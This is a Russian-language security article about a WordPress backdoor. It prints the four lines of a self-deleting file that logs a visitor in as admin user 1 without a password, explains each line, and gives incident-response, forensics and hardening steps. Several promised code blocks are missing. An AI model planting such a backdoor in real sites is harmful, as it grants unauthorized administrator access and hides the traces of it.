Нашли такой код в проекте, срочно вызывайте дезинфектора!

Если вы нашли следующий код у себя в проекте, значит кто-то его оставил не из хороших побуждений!

Что это делает построчно

1. require __DIR__ . '/wp-load.php';
   Подгружает ядро WordPress, чтобы можно было вызвать его функции в обход обычного процесса авторизации.
2. wp_set_auth_cookie(1, true);
   Создаёт авторизационные cookie для пользователя с ID=1 (обычно это первый админ). Параметр true делает куку «долго живущей» (Запомнить меня).
3. Header('Location: /wp-admin/');
   Сразу редиректит в админку — пользователь оказывается в панели администратора без ввода логина/пароля.
4. @unlink(__FILE__);
   Самоуничтожение файла после выполнения — следов почти не остаётся.

Зачем такое кладут в проект

• Быстрый бэкдор для моментального админ-доступа;
• Используется злоумышленниками (а иногда и недобросовестными подрядчиками) для фиксации контроля над сайтом.

Почему это плохо

• Компрометация учётных записей — любой, кто знает URL файла, входит как админ;
• Обход логов и 2FA — авторизация идёт не через обычную форму — журнал может не зафиксировать реальный вход;
• Самоуничтожение — труднее расследовать инцидент: тк файла уже нет;
• Ещё один признак взлома — Такие сниппеты часто сопровождаются другими закладками в wp-content/uploads, темах, mu-плагинах, крон-заданиях и т. д.

Что делать, если вы обнаружили такой файл

Немедленные шаги (MVP-инцидент-реакция)

1. Сделайте бэкап текущего состояния (файлы + БД) — для форензики(расследования);
2. Удалите бэкдор, если ещё не стёрся сам;
3. Смените пароли: все админы WP, хостинг/SSH/FTP, база данных;
4. Перегенерируйте SALT-ключи в wp-config.php (AUTH_KEY, SECURE_AUTH_KEY, …) — это аннулирует все текущие сессии;
5. Проверьте пользователей: удалите несанкционированных админов, проверьте роли;
6. Включите принудительный SSL в админке:

Форензика: где ещё искать следы

Файлы и папки под подозрением:

• wp-content/uploads/ — любые .php здесь под запретом;
• wp-content/mu-plugins/, wp-content/plugins/, wp-content/themes/ — новые/странные файлы;
• корень сайта, .user.ini, .htaccess, wp-config.php — неизвестные директивы.

Быстрая проверка (SSH):

База данных:

• wp_users — новые админы;
• wp_options — active_plugins, siteurl, home, странные автозагружаемые опции;
• wp_cron (псевдо-крон) — неожиданные задачи.

Как предотвратить повтор

Политики и конфигурация

Запретить выполнение PHP в uploads:

Apache (wp-content/uploads/.htaccess):

Nginx:

Отключить редактор файлов в админке:

(Опционально) ограничить автообновления плагинов/тем, если нет CI/CD:

Права и доступ

• Правильные владельцы/права: веб-сервер не должен быть владельцем всего проекта;
• Ключи и пароли — хранить вне репозитория, ротация по расписанию;
• Доступ по SSH-ключам, а не по паролям. Отдельные учётки, audit trail.

Мониторинг и защита

• WAF/Firewall (напр., Cloudflare/WAF на уровне хоста);
• Логи: включите и храните access/error логи дольше (хотя бы 30–90 дней);
• Сканеры: регулярные проверки (wp-cli + security-плагин/внешний скан);
• CI/CD: деплой из репозитория — любые «левые» файлы быстро заметны.

Коммуникация с бизнесом: почему важно действовать сразу

Каждый день с открытым бэкдором = риск потери данных, SEO-санкций, утечки пожертвований/платежей, судебных претензий.
Правильная реакция — это не просто «стереть файл», а перекрыть каналы повторного доступа, провести проверку и задать процессы, чтобы это не повторялось.

Краткий чек-лист (распечатать и повесить рядом)

• Бэкап текущего состояния (для форензики);
• Удалить бэкдор/подозрительные файлы;
• Ротация паролей (WP/DB/SSH/FTP);
• Сменить SALT-ключи → разлогинить всех;
• Проверить админов/роли;
• Запретить PHP в uploads;
• Отключить editor в админке;
• Просканировать файлы и БД;
• Включить/проверить логи;
• Настроить регулярный аудит.

Вы можете скачать файлы-тесты, для проведения простого аудита сайта.